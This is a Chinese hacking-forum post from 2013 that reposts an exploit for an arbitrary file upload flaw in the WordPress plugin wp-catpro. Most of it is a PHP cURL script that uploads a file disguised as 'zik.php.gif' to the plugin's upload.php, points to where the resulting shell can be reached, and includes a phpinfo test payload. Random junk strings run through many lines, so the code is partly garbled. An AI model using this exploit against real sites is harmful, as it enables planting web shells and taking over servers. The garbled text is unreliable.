找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability0 o/ u1 v, _2 |" |& j& T
#-----------------------------------------------------------------------) A/ U5 }' m# K' |. q6 ~8 d  w

: h8 ~1 L& z, Z" H7 M作者  => Zikou-16
+ b* b1 }3 B7 d: I邮箱 => zikou16x@gmail.com
; @8 o$ I( X6 s2 \" X5 b9 G测试系统 : Windows 7 , Backtrack 5r3
6 I# M2 W- Z# B$ a# @下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip5 z* [8 m$ K6 C; l6 u$ [5 }
####
: J2 G3 G% ^8 Y' e3 a( Z  I( o7 T/ w 0 f1 _9 B3 E1 u5 U0 K
#=> Exploit 信息:( K4 a( ?2 @/ n) w1 F6 }! O0 D
------------------
/ b6 }+ f) ^  q5 p# k) d# 攻击者可以上传 file/shell.php.gif0 ^1 \5 j, M, h! U5 l
# ("jpg", "gif", "png")  // Allowed file extensions; T% g8 k9 G8 Y% O% q  J' m. {
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
- v+ {/ j6 q0 `( q' S* @# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)& C2 O, D( v. y
------------------
/ }- M' \) t+ X4 Y ! S8 e5 q# V& m; \1 |
#=> Exploit
6 n& \) o# t" X4 R3 ]3 C-----------7 u3 `4 G( [/ l- V6 U: S" i
<?php
, \2 S0 h* x) R; w. ?   j: y& h: H9 l2 k- y9 W5 |4 `+ a
$uploadfile="zik.php.gif";
+ U1 S# S3 x$ R5 M* @. {$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
7 I& x8 ?7 D) \: Pcurl_setopt($ch, CURLOPT_POST, true);2 l& c. u4 t. s# L) X
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ q1 N6 l, ~) ~5 t8 Yarray('Filedata'=>"@$uploadfile"," D( V; Y3 t6 e" W
'folder'=>'/wp-content/uploads/catpro/'));" h1 X- F, X1 ~" w# A2 X
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
' L; f. v8 {3 o) p. n$postResult = curl_exec($ch);- s! F5 f$ g" J5 g7 s+ o
curl_close($ch);" g7 g! h: x) u5 J0 F
* o! \, `3 n, |! r+ J3 z0 q, H
print "$postResult";+ C' g9 T. H- X* R

& j* O2 c2 z* d4 bShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif& L/ p! P% T; }2 }! b7 k3 H% D' Z
  ?>" O9 \5 _, h7 ]
<?php
: p9 x% S- C( a  T. o+ n8 @phpinfo();" `9 s- Y% v8 Z: y0 m6 `
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表